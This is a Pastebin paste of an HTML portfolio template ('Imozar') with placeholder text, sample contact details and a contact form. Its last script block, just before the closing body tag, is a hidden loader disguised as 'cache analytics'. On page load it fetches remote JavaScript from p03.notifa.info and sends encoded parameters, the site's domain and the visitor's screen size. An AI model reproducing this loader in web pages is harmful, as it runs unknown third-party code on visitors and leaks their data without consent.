API tools faq
paste
Advertisement
echaa26

Untitled

echaa26
May 15th, 2019
130
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 30.44 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2. <html lang="en">
  3.  
  4. <head>
  5.     <meta charset="utf-8">
  6.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7.     <meta name="viewport" content="width=device-width, initial-scale=1">
  8.     <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
  9.  
  10.     <!-- SITE TITLE -->
  11.     <title>IMOZAR - Personal Portfolio Template</title>
  12.     <meta name="description" content="Bamboo - Personal Parallax Portfolio Template">
  13.  
  14.     <!-- Bootstrap CSS -->
  15.     <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
  16.  
  17.     <!-- Magnific Popup core CSS file -->
  18.     <link rel="stylesheet" href="css/magnific-popup.css">
  19.  
  20.     <!-- Owl Carousel CSS -->
  21.     <link rel="stylesheet" href="css/owl.carousel.min.css">
  22.  
  23.     <!-- FONT AWESOME -->
  24.     <link rel="stylesheet" type="text/css" href="css/font-awesome.min.css">
  25.  
  26.     <!-- Custom styles for this template -->
  27.     <link rel="stylesheet" type="text/css" href="css/style.css">
  28.  
  29.     <!-- Google Fonts -->
  30.     <link href="https://fonts.googleapis.com/css?family=Lato:400,400i,700,700i" rel="stylesheet">
  31.  
  32.     <!-- Favicon -->
  33.     <link rel="icon" href="img/favicon.ico">
  34.  
  35.     <!-- Touch Icons - iOS and Android 2.1+ -->
  36.     <link rel="apple-touch-icon" href="img/apple-favicon.html">
  37.     <link rel="apple-touch-icon" sizes="72x72" href="img/apple-touch-icon-ipad.html" />
  38.     <link rel="apple-touch-icon" sizes="114x114" href="img/apple-touch-icon-iphone4.html" />
  39.  
  40.     <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
  41.     <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
  42.     <!--[if lt IE 9]>
  43.      <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
  44.      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
  45.    <![endif]-->
  46.  
  47.   </head>
  48.   <body>
  49.  
  50.     <!-- Loader -->
  51.     <div class="loader-con">
  52.     <div class="spinner center">
  53.         <div class="double-bounce1"></div>
  54.         <div class="double-bounce2"></div>
  55.     </div>
  56.     </div>
  57.     <!-- End Loader -->
  58.  
  59.     <!-- MAIN NAVIGATION BAR -->
  60.     <header class="nav-wrapper effect">
  61.         <nav class="navbar-custom">
  62.             <div class="container">
  63.  
  64.                 <!-- Brand and toggle get grouped for better mobile display -->
  65.                 <div class="navbar-header">
  66.                     <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bm-navbar" aria-expanded="false">
  67.                         <span class="sr-only">Toggle navigation</span>
  68.                         <span class="icon-bar"></span>
  69.                         <span class="icon-bar"></span>
  70.                         <span class="icon-bar"></span>
  71.                     </button>
  72.                     <a class="navbar-brand effect" href="index.html">Imozar</a>
  73.                 </div>
  74.  
  75.                 <!-- Collect the nav links, forms, and other content for toggling -->
  76.                 <div class="collapse navbar-collapse" id="bm-navbar">
  77.                     <ul class="nav navbar-nav navbar-right">
  78.                         <li><a href="#home" class="scroll effect active" data-speed="800">HOME</a></li>
  79.                         <li><a href="#about" class="scroll effect" data-speed="1000">ABOUT</a></li>
  80.                         <li><a href="#services" class="scroll effect" data-speed="1400">SERVICES</a></li>
  81.                         <li><a href="#work" class="scroll effect" data-speed="1400">WORK</a></li>
  82.                         <li><a href="#clients" class="scroll effect" data-speed="1600">CLIENTS</a></li>
  83.                         <li><a href="#contact" class="scroll effect" data-speed="1700">CONTACT</a></li>
  84.                     </ul>
  85.                 </div><!-- End navbar-collapse -->
  86.  
  87.             </div><!-- End container -->
  88.         </nav>
  89.     </header>
  90.     <!-- END MAIN NAVIGATION BAR -->
  91.  
  92.     <!-- HOME -->
  93.     <section id="home" class="home-1 parallax one-page-section">
  94.         <div class="page-table">
  95.             <div class="table-cell text-center">
  96.                 <div class="avatar-hero">
  97.                     <img src="img/home-avatar.jpg" alt="avatar-hero">
  98.                 </div>
  99.                 <h1>Hi, I'm Muhammad Ezha Syafaat</h1>
  100.                 <h2 class="typer-title"></h2>
  101.                 <a href="#about" class="scroll home-s-btn hor-center"><span class="dot center"></span></a>
  102.             </div>
  103.         </div>
  104.     </section>
  105.     <!-- END HOME -->
  106.  
  107.     <!-- ABOUT -->
  108.     <section id="about" class="section one-page-section">
  109.         <div class="container">
  110.             <div class="row">
  111.  
  112.                 <div class="col-xs-12 col-md-6">
  113.                     <div class="about-content">
  114.                         <h2>Hi There! I'm Norman Doe</h2>
  115.                         <p>I am a professional web designer from Manchester, England. I create beautiful professional websites using best practice accessibility. I enjoy turning complex problems into simple, beautiful and intuitive interface designs.</p>
  116.  
  117.                         <div class="row">
  118.                             <div class="col-sm-6">
  119.                                 <ul>
  120.                                     <li><span><i class="fa fa-envelope"></i> Email : </span>Norman@gmail.com</li>
  121.                                     <li><span><i class="fa fa-map-marker"></i> Location : </span>4373, El Centro, CA.</li>
  122.                                 </ul>
  123.                             </div>
  124.                             <div class="col-sm-6">
  125.                                 <ul>
  126.                                     <li><span><i class="fa fa-calendar"></i> Date of birth : </span>8 Juin 1995</li>
  127.                                     <li><span><i class="fa fa-phone"></i> Phone : </span>+1-202-555-0138</li>
  128.                                 </ul>
  129.                             </div>
  130.                         </div>
  131.  
  132.                         <ul class="social-list">
  133.                             <li><a href="#" class="effect"><i class="fa fa-facebook"></i></a></li>
  134.                             <li><a href="#" class="effect"><i class="fa fa-twitter"></i></a></li>
  135.                             <li><a href="#" class="effect"><i class="fa fa-google-plus"></i></a></li>
  136.                             <li><a href="#" class="effect"><i class="fa fa-linkedin"></i></a></li>
  137.                             <li><a href="#" class="effect"><i class="fa fa-instagram"></i></a></li>
  138.                             <li><a href="#" class="effect"><i class="fa fa-pinterest-p"></i></a></li>
  139.                         </ul>
  140.  
  141.                     </div>
  142.                 </div>
  143.  
  144.                 <div class="col-xs-12 col-md-6 skills-section">
  145.  
  146.                     <div class="progress-bar-linear">
  147.                         <p class="progress-bar-text">HTML5, CSS3</p>
  148.                         <div class="progress-cont">
  149.                             <span class="main-color progress-bar-text">98%</span>
  150.                         </div>
  151.                         <div class="progress-bar-skills">
  152.                             <div class="progress-bar-line main-color-bg" data-percent="98"></div>
  153.                         </div>
  154.                     </div>
  155.                     <div class="progress-bar-linear">
  156.                         <p class="progress-bar-text">ADOBE PHOTOSHOP</p>
  157.                         <div class="progress-cont">
  158.                             <span class="main-color progress-bar-text">92%</span>
  159.                         </div>
  160.                         <div class="progress-bar-skills">
  161.                             <div class="progress-bar-line main-color-bg" data-percent="92"></div>
  162.                         </div>
  163.                     </div>
  164.                     <div class="progress-bar-linear">
  165.                         <p class="progress-bar-text">PHP & MySQL</p>
  166.                        <div class="progress-cont">
  167.                            <span class="main-color progress-bar-text">86%</span>
  168.                        </div>
  169.                        <div class="progress-bar-skills">
  170.                            <div class="progress-bar-line main-color-bg" data-percent="86"></div>
  171.                        </div>
  172.                    </div>
  173.                    <div class="progress-bar-linear">
  174.                        <p class="progress-bar-text">WORDPRESS</p>
  175.                        <div class="progress-cont">
  176.                            <span class="main-color progress-bar-text">94%</span>
  177.                        </div>
  178.                        <div class="progress-bar-skills">
  179.                            <div class="progress-bar-line main-color-bg" data-percent="94"></div>
  180.                        </div>
  181.                    </div>
  182.  
  183.                </div>
  184.  
  185.            </div> <!-- End Row -->
  186.        </div> <!-- End Container -->
  187.    </section>
  188.    <!-- END ABOUT -->
  189.  
  190.    <!-- SERVICES -->
  191.    <section id="services" class="section one-page-section second-bg">
  192.        <div class="container">
  193.            <div class="section-title">
  194.                <h2>My services</h2>
  195.            </div>
  196.            
  197.            <div class="row">
  198.  
  199.                <div class="col-xs-12 col-md-4">
  200.                    <div class="single-service">
  201.                        <div class="service-icon">
  202.                            <i class="fa fa-html5 effect"></i>
  203.                        </div>
  204.                        <div class="service-content">
  205.                            <h3>WEB DEVELOPMENT</h3>
  206.                            <div class="s-line"></div>
  207.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  208.                        </div>
  209.                    </div>
  210.                </div>
  211.  
  212.                <div class="col-xs-12 col-md-4">
  213.                    <div class="single-service bordered">
  214.                        <div class="service-icon">
  215.                            <i class="fa fa-laptop effect"></i>
  216.                        </div>
  217.                        <div class="service-content">
  218.                            <h3>WEBSITE DESIGN</h3>
  219.                            <div class="s-line"></div>
  220.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  221.                        </div>
  222.                    </div>
  223.                </div>
  224.  
  225.                <div class="col-xs-12 col-md-4">
  226.                    <div class="single-service">
  227.                        <div class="service-icon">
  228.                            <i class="fa fa-mobile effect"></i>
  229.                        </div>
  230.                        <div class="service-content">
  231.                            <h3>APP DEVELOPMENT</h3>
  232.                            <div class="s-line"></div>
  233.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  234.                        </div>
  235.                    </div>
  236.                </div>
  237.  
  238.                <div class="clear-float"></div>
  239.                <div class="services-separator"></div>
  240.  
  241.                <div class="col-xs-12 col-md-4">
  242.                    <div class="single-service">
  243.                        <div class="service-icon">
  244.                            <i class="fa fa-picture-o effect"></i>
  245.                        </div>
  246.                        <div class="service-content">
  247.                            <h3>GRAPHIC DESIGN</h3>
  248.                            <div class="s-line"></div>
  249.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  250.                        </div>
  251.                    </div>
  252.                </div>
  253.  
  254.                <div class="col-xs-12 col-md-4">
  255.                    <div class="single-service bordered">
  256.                        <div class="service-icon">
  257.                            <i class="fa fa-camera-retro effect"></i>
  258.                        </div>
  259.                        <div class="service-content">
  260.                            <h3>CREATIVE PHOTOGRAPHY</h3>
  261.                            <div class="s-line"></div>
  262.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  263.                        </div>
  264.                    </div>
  265.                </div>
  266.  
  267.                <div class="col-xs-12 col-md-4">
  268.                    <div class="single-service">
  269.                        <div class="service-icon">
  270.                            <i class="fa fa-life-ring effect"></i>
  271.                        </div>
  272.                        <div class="service-content">
  273.                            <h3>ONLINE SUPPORT</h3>
  274.                            <div class="s-line"></div>
  275.                            <p>Nullam porttitor porta augue vel iaculis. Pellentesque a pretium erat. Maecenas semper laoreet dapibus et quatre malesuada.</p>
  276.                        </div>
  277.                    </div>
  278.                </div>
  279.  
  280.            </div> <!-- End Row -->
  281.        </div> <!-- End Container -->
  282.    </section>
  283.    <!-- END SERVICES -->
  284.  
  285.    <!-- WORK -->
  286.    <section id="work" class="section one-page-section">
  287.        <div class="container">
  288.            <div class="section-title">
  289.                <h2>My Portfolio</h2>
  290.            </div>
  291.  
  292.            <div class="row">
  293.                <div class="col-xs-12">
  294.                    <ul id="work-list" class="text-center">
  295.                        <li class="main-color">
  296.                            <a href="#" class="filter filter-active effect" data-filter="*">all</a>
  297.                        </li>
  298.                        <li class="main-color">
  299.                            <a href="#" class="filter effect" data-filter=".web">web</a>
  300.                        </li>
  301.                        <li class="main-color">
  302.                            <a href="#" class="filter effect" data-filter=".design">design</a>
  303.                        </li>
  304.                        <li class="main-color">
  305.                            <a href="#" class="filter effect" data-filter=".photography">photography</a>
  306.                        </li>
  307.                        <li class="main-color">
  308.                            <a href="#" class="filter effect" data-filter=".music">Music</a>
  309.                        </li>
  310.                    </ul>
  311.                </div>
  312.            </div> <!-- End Row -->
  313.  
  314.            <div class="row filtr-container">
  315.  
  316.                <div class="col-sm-6 col-md-4 filtr-item design web">
  317.                    <div class="single-work mb-30">
  318.                        <a href="img/wok-1.jpg" class="popup-link">
  319.                            <img class="effect" src="img/wok-1.jpg" alt="work-1">
  320.                            <div class="work-overlay effect">
  321.                                <h3>Project Title</h3>
  322.                                <p>WEB DEVELOPMENT</p>
  323.                            </div>
  324.                        </a>
  325.                    </div>
  326.                </div>
  327.  
  328.                <div class="col-sm-6 col-md-4 filtr-item music design">
  329.                    <div class="single-work mb-30">
  330.                        <a href="img/wok-2.jpg" class="popup-link">
  331.                            <img class="effect" src="img/wok-2.jpg" alt="work-2">
  332.                            <div class="work-overlay effect">
  333.                                <h3>Project Title</h3>
  334.                                <p>MUSIC</p>
  335.                            </div>
  336.                        </a>
  337.                    </div>
  338.                </div>
  339.  
  340.                <div class="col-sm-6 col-md-4 filtr-item photography web">
  341.                    <div class="single-work mb-30">
  342.                        <a href="img/wok-3.jpg" class="popup-link">
  343.                            <img class="effect" src="img/wok-3.jpg" alt="work-3">
  344.                            <div class="work-overlay effect">
  345.                                <h3>Project Title</h3>
  346.                                <p>PHOTOGRAPHY</p>
  347.                            </div>
  348.                        </a>
  349.                    </div>
  350.                </div>
  351.  
  352.                <div class="col-sm-6 col-md-4 filtr-item web music">
  353.                    <div class="single-work mb-30">
  354.                        <a href="img/wok-4.jpg" class="popup-link">
  355.                            <img class="effect" src="img/wok-4.jpg" alt="work-4">
  356.                            <div class="work-overlay effect">
  357.                                <h3>Project Title</h3>
  358.                                <p>WEB DEVELOPMENT</p>
  359.                            </div>
  360.                        </a>
  361.                    </div>
  362.                </div>
  363.  
  364.                <div class="col-sm-6 col-md-4 filtr-item design photography">
  365.                    <div class="single-work mb-30">
  366.                        <a href="img/wok-2.jpg" class="popup-link">
  367.                            <img class="effect" src="img/wok-2.jpg" alt="work-2">
  368.                            <div class="work-overlay effect">
  369.                                <h3>Project Title</h3>
  370.                                <p>WEB DESIGN</p>
  371.                            </div>
  372.                        </a>
  373.                    </div>
  374.                </div>
  375.  
  376.                <div class="col-sm-6 col-md-4 filtr-item photography">
  377.                    <div class="single-work mb-30">
  378.                        <a href="img/wok-6.jpg" class="popup-link">
  379.                            <img class="effect" src="img/wok-6.jpg" alt="work-6">
  380.                            <div class="work-overlay effect">
  381.                                <h3>Project Title</h3>
  382.                                <p>PHOTOGRAPHY</p>
  383.                            </div>
  384.                        </a>
  385.                    </div>
  386.                </div>
  387.  
  388.            </div><!-- end row -->
  389.        </div> <!-- End Container -->
  390.    </section>
  391.    <!-- END WORK -->
  392.  
  393.    <!-- TESTIMONIALS -->
  394.    <section id="clients" class="section one-page-section second-bg">
  395.        <div class="container">
  396.            <div class="section-title">
  397.                <h2>Testimonials</h2>
  398.            </div>
  399.  
  400.            <div class="row">
  401.                <div class="col-xs-12">
  402.                    <div class="owl-carousel testimonial-slider">
  403.  
  404.                        <div class="one-testimonial">
  405.                            <div class="testimonial-content">
  406.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  407.                            </div>
  408.                            <div class="testimonial-person">
  409.                                <figure>
  410.                                  <img src="../../phydev.web44.net/erizo/img/t-5.jpg" alt="tes-img-5">
  411.                                </figure>
  412.                                <div class="testimonial-inf">
  413.                                    <h4>Amber Cottle</h4>
  414.                                    <p>Web Developer</p>
  415.                                </div>
  416.                            </div>
  417.                        </div>
  418.                        <div class="one-testimonial">
  419.                            <div class="testimonial-content">
  420.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  421.                            </div>
  422.                            <div class="testimonial-person">
  423.                                <figure>
  424.                                  <img src="../../phydev.web44.net/erizo/img/t-3.jpg" alt="tes-img-3">
  425.                                </figure>
  426.                                <div class="testimonial-inf">
  427.                                    <h4>John Doe</h4>
  428.                                    <p>Ceo Founder</p>
  429.                                </div>
  430.                            </div>
  431.                        </div>
  432.                        <div class="one-testimonial">
  433.                            <div class="testimonial-content">
  434.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  435.                            </div>
  436.                            <div class="testimonial-person">
  437.                                <figure>
  438.                                  <img src="../../phydev.web44.net/erizo/img/t-4.jpg" alt="tes-img-4">
  439.                                </figure>
  440.                                <div class="testimonial-inf">
  441.                                    <h4>Alvin Jewel</h4>
  442.                                    <p>Creative Head</p>
  443.                                </div>
  444.                            </div>
  445.                        </div>
  446.                        <div class="one-testimonial">
  447.                            <div class="testimonial-content">
  448.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  449.                            </div>
  450.                            <div class="testimonial-person">
  451.                                <figure>
  452.                                  <img src="../../phydev.web44.net/erizo/img/t-2.jpg" alt="tes-img-2">
  453.                                </figure>
  454.                                <div class="testimonial-inf">
  455.                                    <h4>Rebecca Johansson</h4>
  456.                                    <p>Project Manager</p>
  457.                                </div>
  458.                            </div>
  459.                        </div>
  460.                        <div class="one-testimonial">
  461.                            <div class="testimonial-content">
  462.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  463.                            </div>
  464.                            <div class="testimonial-person">
  465.                                <figure>
  466.                                  <img src="../../phydev.web44.net/erizo/img/t-1.jpg" alt="tes-img-1">
  467.                                </figure>
  468.                                <div class="testimonial-inf">
  469.                                    <h4>Mark Smith</h4>
  470.                                    <p>Creative Head</p>
  471.                                </div>
  472.                            </div>
  473.                        </div>
  474.                        <div class="one-testimonial">
  475.                            <div class="testimonial-content">
  476.                                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo nec ornare diam. Sed commodo nibh facilisis bibendum dolor feugiat.</p>
  477.                            </div>
  478.                            <div class="testimonial-person">
  479.                                <figure>
  480.                                  <img src="../../phydev.web44.net/erizo/img/t-6.jpg" alt="tes-img-6">
  481.                                </figure>
  482.                                <div class="testimonial-inf">
  483.                                    <h4>Audley Carson</h4>
  484.                                    <p>Front End Developer</p>
  485.                                </div>
  486.                            </div>
  487.                        </div>
  488.  
  489.                    </div>
  490.                </div>
  491.            </div><!-- end row -->
  492.        </div> <!-- End Container -->
  493.    </section>
  494.    <!-- END TESTIMONIALS -->
  495.  
  496.    <!-- CONTACT -->
  497.    <section id="contact" class="section one-page-section">
  498.        <div class="container">
  499.            <div class="section-title">
  500.                <h2>contact me</h2>
  501.            </div>
  502.  
  503.            <div class="row">
  504.                <div class="col-xs-12 col-md-10 col-md-offset-1">
  505.                    <div class="col-xs-12 col-sm-4">
  506.                        <div class="contact-item mb-30">
  507.                            <div class="c-icon text-center">
  508.                                <i class="fa fa-phone"></i>
  509.                            </div>
  510.                            <div class="c-text">
  511.                                <h5>PHONE</h5>
  512.                                <h6>+1-202-555-0138</h6>
  513.                            </div>
  514.                        </div>
  515.                    </div>
  516.                    <div class="col-xs-12 col-sm-4">
  517.                        <div class="contact-item mb-30">
  518.                            <div class="c-icon text-center">
  519.                                <i class="fa fa-map-marker"></i>
  520.                            </div>
  521.                            <div class="c-text">
  522.                                <h5>LOCATION</h5>
  523.                                <h6>4373, El Centro, CA.</h6>
  524.                            </div>
  525.                        </div>
  526.                    </div>
  527.                    <div class="col-xs-12 col-sm-4">
  528.                        <div class="contact-item mb-30">
  529.                            <div class="c-icon text-center">
  530.                                <i class="fa fa-envelope"></i>
  531.                            </div>
  532.                            <div class="c-text">
  533.                                <h5>EMAIL</h5>
  534.                                <h6>Norman@gmail.com</h6>
  535.                            </div>
  536.                        </div>
  537.                    </div>
  538.                </div>
  539.            </div><!-- end row -->
  540.  
  541.            <div class="row">
  542.                <div class="col-xs-12 col-md-10 col-md-offset-1">
  543.                    <form id="contact-form" method="post" action="http://phydeve.epizy.com/imozar/mail/contact.php">
  544.                        <div class="col-sm-6">
  545.                            <input type="text" name="name" id="name" class="input-field" required="required" placeholder="Name">
  546.                            <span class="name-error text-center mb-30"></span>
  547.                        </div>
  548.                        <div class="col-sm-6">
  549.                            <input type="email" name="email" id="email" class="input-field" required="required" placeholder="Email">
  550.                            <span class="email-error text-center mb-30"></span>
  551.                        </div>
  552.                        <div class="col-xs-12">
  553.                            <textarea name="message" id="message" class="input-field" required="required" placeholder="Message"></textarea>
  554.                            <span class="message-error text-center mb-30"></span>
  555.                        </div>
  556.                        <div id="form-message" class="error mb-30 text-center"></div>
  557.  
  558.                        <button type="submit" class="effect submit-btn">Send Message</button>
  559.  
  560.                    </form>
  561.                </div>
  562.            </div> <!-- end row -->
  563.        </div> <!-- End Container -->
  564.    </section>
  565.    <!-- END CONTACT -->
  566.  
  567.    <!-- FOOTER -->
  568.    <footer class="footer">
  569.        <div class="container">
  570.            <div class="row">
  571.                <a href="index.html" class="effect footer-title">Norman</a>
  572.  
  573.                <div class="footer-social">
  574.                    <ul class="footer-social-list">
  575.                        <li><a class="effect" href="#"><i class="fa fa-facebook"></i></a></li>
  576.                        <li><a class="effect" href="#"><i class="fa fa-twitter"></i></a></li>
  577.                        <li><a class="effect" href="#"><i class="fa fa-pinterest-p"></i></a></li>
  578.                        <li><a class="effect" href="#"><i class="fa fa-linkedin"></i></a></li>
  579.                        <li><a class="effect" href="#"><i class="fa fa-behance"></i></a></li>
  580.                        <li><a class="effect" href="#"><i class="fa fa-instagram"></i></a></li>
  581.                    </ul>
  582.                </div>
  583.  
  584.                <p class="copy-text">Imozar &copy; 2018. all right reserved, designed by <strong><a href="https://themeforest.net/user/phydev" target="_blank">PhyDev</a></strong>.</p>
  585.             </div> <!-- end row -->
  586.         </div> <!-- End Container -->
  587.     </footer>
  588.     <!-- END FOOTER -->
  589.  
  590.     <!-- Scroll To Top Button -->
  591.     <a href="#" class="scroll-up effect">
  592.         <i class="fa fa-angle-up"></i>
  593.     </a>
  594.     <!-- End Scroll To Top Button -->
  595.                            
  596.     <!-- js placed at the end of the document so the pages load faster -->
  597.     <!-- jQuery -->
  598.     <script src="js/jquery.min.js"></script>
  599.     <!-- Bootstrap JS -->
  600.     <script src="js/bootstrap.min.js"></script>
  601.     <!-- Magnific Popup core JS file -->
  602.     <script src="js/jquery.magnific-popup.min.js"></script>
  603.     <!-- Owl Carousel JS -->
  604.     <script src="js/owl.carousel.min.js"></script>
  605.     <!-- jQuery Typer JS -->
  606.     <script src="js/jquery.typer.js"></script>
  607.     <!-- jQuery Images Loaded JS -->
  608.     <script src="js/imagesloaded.pkgd.min.js"></script>
  609.     <!-- jQuery Filterizr JS -->
  610.     <script src="js/isotope.pkgd.min.js"></script>
  611.     <!-- Custom js -->
  612.     <script src="js/main.js"></script>
  613.  
  614.   <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p03.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582JKzDzTsXZH2h38rMBYSPyiqcPWrP7yWNZjhgBcrJCpg5j2S3bvMK0zkm1L53tcmgztb2kc%2bdfRkMUFYIl%2f8y3R3wmyPJ%2fABybzJ0nkIhAEwyPkEVNvbjwgQjQhTZVCjYOhDHGR%2bfX39NulUvBNvSDXcI3%2fT8DYatPi3hu9BV%2fzwa6sGdwLZsoNnuD5m1a3%2b6%2bQi%2fnb2Jj%2fpiDGnpeV6M9bM5LrE8ahUoSrhAt7fMwRsGwQJyYWS2vNdYHbAEtRNxRTnh97PUlrj5wI5fVpyEFn7EjClzVvy5e8DI0QBJWkUvABTVuTK0m4ZEzRzY0v%2fReKsOCFnelo1ifazOOJPvttxcVotTsEP5bB4K2m3Z8e8BvN%2bn14VroccuXMdEr%2bgkIw1pk4fEm1thr7F7lC7OlumzTp7cliID9R%2fIUNJj9cpD9YGJYWHc6uOf%2fo%2bZBi%2f0V52DYlUf%2bzaajBU8y1N6Gyuec9GNEm8DtkMcLrdC0JPdp76sFexh6Y%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  615.  
  616. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!